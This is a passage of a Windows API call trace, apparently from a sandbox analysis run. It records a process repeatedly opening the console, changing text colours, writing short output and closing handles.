[0258.017] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.017] GetLastError () returned 0x0 [0258.017] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0258.017] GetLastError () returned 0x0 [0258.017] CloseHandle (hObject=0x3b) returned 1 [0258.018] GetLastError () returned 0x0 [0258.025] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0258.025] GetLastError () returned 0x0 [0258.025] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.025] GetLastError () returned 0x0 [0258.025] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.026] GetLastError () returned 0x0 [0258.026] CloseHandle (hObject=0x3b) returned 1 [0258.026] GetLastError () returned 0x0 [0258.033] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0258.033] GetLastError () returned 0x0 [0258.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0258.033] GetLastError () returned 0x0 [0258.033] GetConsoleOutputCP () returned 0x1b5 [0258.034] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0258.034] GetLastError () returned 0x0 [0258.040] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0258.076] GetLastError () returned 0x0 [0258.076] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.076] GetLastError () returned 0x0 [0258.084] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0258.084] GetLastError () returned 0x0 [0258.084] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.084] GetLastError () returned 0x0 [0258.091] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.092] GetLastError () returned 0x0 [0258.092] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.092] GetLastError () returned 0x0 [0258.092] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0258.093] GetLastError () returned 0x0 [0258.093] CloseHandle (hObject=0x47) returned 1 [0258.093] GetLastError () returned 0x0 [0258.100] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.100] GetLastError () returned 0x0 [0258.100] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.101] GetLastError () returned 0x0 [0258.101] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0258.101] GetLastError () returned 0x0 [0258.101] CloseHandle (hObject=0x47) returned 1 [0258.102] GetLastError () returned 0x0 [0258.108] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.110] GetLastError () returned 0x0 [0258.110] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0258.110] GetLastError () returned 0x0 [0258.110] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x2fa2b4c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa2b4c*, lpNumberOfCharsWritten=0x5dbe824*=0x4f) returned 1 [0258.110] GetLastError () returned 0x0 [0258.110] CloseHandle (hObject=0x47) returned 1 [0258.154] GetLastError () returned 0x0 [0258.161] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.162] GetLastError () returned 0x0 [0258.162] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.162] GetLastError () returned 0x0 [0258.162] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0258.162] GetLastError () returned 0x0 [0258.162] CloseHandle (hObject=0x47) returned 1 [0258.163] GetLastError () returned 0x0 [0258.170] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.170] GetLastError () returned 0x0 [0258.170] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.170] GetLastError () returned 0x0 [0258.170] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0258.171] GetLastError () returned 0x0 [0258.171] CloseHandle (hObject=0x47) returned 1 [0258.171] GetLastError () returned 0x0 [0258.178] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.179] GetLastError () returned 0x0 [0258.179] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.179] GetLastError () returned 0x0 [0258.179] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.179] GetLastError () returned 0x0 [0258.179] CloseHandle (hObject=0x47) returned 1 [0258.180] GetLastError () returned 0x0 [0258.191] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0258.232] GetLastError () returned 0x0 [0258.232] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0258.233] GetLastError () returned 0x0 [0258.233] GetConsoleOutputCP () returned 0x1b5 [0258.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0258.233] GetLastError () returned 0x0 [0258.240] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0258.240] GetLastError () returned 0x0 [0258.240] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.241] GetLastError () returned 0x0 [0258.248] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0258.248] GetLastError () returned 0x0 [0258.248] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.249] GetLastError () returned 0x0 [0258.257] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.258] GetLastError () returned 0x0 [0258.258] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.258] GetLastError () returned 0x0 [0258.258] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0258.259] GetLastError () returned 0x0 [0258.259] CloseHandle (hObject=0x53) returned 1 [0258.259] GetLastError () returned 0x0 [0258.267] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.310] GetLastError () returned 0x0 [0258.310] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.311] GetLastError () returned 0x0 [0258.311] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0258.311] GetLastError () returned 0x0 [0258.311] CloseHandle (hObject=0x53) returned 1 [0258.311] GetLastError () returned 0x0 [0258.321] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.324] GetLastError () returned 0x0 [0258.324] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0258.324] GetLastError () returned 0x0 [0258.324] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x2fa2ff4*, nNumberOfCharsToWrite=0xd, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa2ff4*, lpNumberOfCharsWritten=0x5dbe824*=0xd) returned 1 [0258.324] GetLastError () returned 0x0 [0258.324] CloseHandle (hObject=0x53) returned 1 [0258.325] GetLastError () returned 0x0 [0258.330] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.331] GetLastError () returned 0x0 [0258.331] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.331] GetLastError () returned 0x0 [0258.331] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0258.331] GetLastError () returned 0x0 [0258.331] CloseHandle (hObject=0x53) returned 1 [0258.331] GetLastError () returned 0x0 [0258.337] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.337] GetLastError () returned 0x0 [0258.337] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.337] GetLastError () returned 0x0 [0258.337] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0258.338] GetLastError () returned 0x0 [0258.338] CloseHandle (hObject=0x53) returned 1 [0258.338] GetLastError () returned 0x0 [0258.344] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.344] GetLastError () returned 0x0 [0258.344] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.344] GetLastError () returned 0x0 [0258.345] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.345] GetLastError () returned 0x0 [0258.345] CloseHandle (hObject=0x53) returned 1 [0258.345] GetLastError () returned 0x0 [0258.351] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0258.390] GetLastError () returned 0x0 [0258.390] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0258.391] GetLastError () returned 0x0 [0258.391] GetConsoleOutputCP () returned 0x1b5 [0258.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0258.391] GetLastError () returned 0x0 [0258.398] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0258.398] GetLastError () returned 0x0 [0258.398] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.398] GetLastError () returned 0x0 [0258.406] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0258.406] GetLastError () returned 0x0 [0258.407] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.407] GetLastError () returned 0x0 [0258.414] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.415] GetLastError () returned 0x0 [0258.415] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.415] GetLastError () returned 0x0 [0258.415] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0258.415] GetLastError () returned 0x0 [0258.415] CloseHandle (hObject=0x5f) returned 1 [0258.416] GetLastError () returned 0x0 [0258.423] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.466] GetLastError () returned 0x0 [0258.466] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.466] GetLastError () returned 0x0 [0258.466] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0xc) returned 1 [0258.467] GetLastError () returned 0x0 [0258.467] CloseHandle (hObject=0x5f) returned 1 [0258.467] GetLastError () returned 0x0 [0258.474] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.475] GetLastError () returned 0x0 [0258.475] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0258.475] GetLastError () returned 0x0 [0258.475] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x2fa33d0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa33d0*, lpNumberOfCharsWritten=0x5dbe824*=0x4f) returned 1 [0258.475] GetLastError () returned 0x0 [0258.475] CloseHandle (hObject=0x5f) returned 1 [0258.476] GetLastError () returned 0x0 [0258.481] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.482] GetLastError () returned 0x0 [0258.482] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.482] GetLastError () returned 0x0 [0258.482] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0258.482] GetLastError () returned 0x0 [0258.482] CloseHandle (hObject=0x5f) returned 1 [0258.482] GetLastError () returned 0x0 [0258.488] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.489] GetLastError () returned 0x0 [0258.489] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.489] GetLastError () returned 0x0 [0258.489] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0258.489] GetLastError () returned 0x0 [0258.489] CloseHandle (hObject=0x5f) returned 1 [0258.489] GetLastError () returned 0x0 [0258.495] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.495] GetLastError () returned 0x0 [0258.495] GetConsoleMode (in: hConsoleHandle=0x5f, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.495] GetLastError () returned 0x0 [0258.495] WriteConsoleW (in: hConsoleOutput=0x5f, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.496] GetLastError () returned 0x0 [0258.496] CloseHandle (hObject=0x5f) returned 1 [0258.496] GetLastError () returned 0x0 [0258.501] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0258.552] GetLastError () returned 0x0 [0258.552] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0258.552] GetLastError () returned 0x0 [0258.553] GetConsoleOutputCP () returned 0x1b5 [0258.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0258.553] GetLastError () returned 0x0 [0258.559] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0258.559] GetLastError () returned 0x0 [0258.559] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.559] GetLastError () returned 0x0 [0258.565] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0258.565] GetLastError () returned 0x0 [0258.565] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.566] GetLastError () returned 0x0 [0258.571] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.572] GetLastError () returned 0x0 [0258.572] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.572] GetLastError () returned 0x0 [0258.572] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0258.572] GetLastError () returned 0x0 [0258.572] CloseHandle (hObject=0x6b) returned 1 [0258.573] GetLastError () returned 0x0 [0258.579] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.579] GetLastError () returned 0x0 [0258.579] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0258.579] GetLastError () returned 0x0 [0258.579] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0xc) returned 1 [0258.579] GetLastError () returned 0x0 [0258.579] CloseHandle (hObject=0x6b) returned 1 [0258.580] GetLastError () returned 0x0 [0258.588] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.622] GetLastError () returned 0x0 [0258.622] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0258.622] GetLastError () returned 0x0 [0258.622] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x2fa38ac*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa38ac*, lpNumberOfCharsWritten=0x5dbe824*=0x1e) returned 1 [0258.623] GetLastError () returned 0x0 [0258.623] CloseHandle (hObject=0x6b) returned 1 [0258.623] GetLastError () returned 0x0 [0258.630] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.630] GetLastError () returned 0x0 [0258.630] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.631] GetLastError () returned 0x0 [0258.631] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0258.631] GetLastError () returned 0x0 [0258.631] CloseHandle (hObject=0x6b) returned 1 [0258.631] GetLastError () returned 0x0 [0258.637] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.637] GetLastError () returned 0x0 [0258.638] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.638] GetLastError () returned 0x0 [0258.638] SetConsoleTextAttribute (hConsoleOutput=0x6b, wAttributes=0x7) returned 1 [0258.638] GetLastError () returned 0x0 [0258.638] CloseHandle (hObject=0x6b) returned 1 [0258.638] GetLastError () returned 0x0 [0258.644] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.645] GetLastError () returned 0x0 [0258.645] GetConsoleMode (in: hConsoleHandle=0x6b, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0258.645] GetLastError () returned 0x0 [0258.645] WriteConsoleW (in: hConsoleOutput=0x6b, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0258.645] GetLastError () returned 0x0 [0258.645] CloseHandle (hObject=0x6b) returned 1 [0258.646] GetLastError () returned 0x0 [0258.656] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0258.657] GetLastError () returned 0x0 [0258.657] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0258.700] GetLastError () returned 0x0 [0258.700] GetConsoleOutputCP () returned 0x1b5 [0258.700] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0258.700] GetLastError () returned 0x0 [0258.706] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0258.707] GetLastError () returned 0x0 [0258.707] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.707] GetLastError () returned 0x0 [0258.712] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0258.713] GetLastError () returned 0x0 [0258.713] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0258.713] GetLastError () returned 0x0 [0258.719] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, 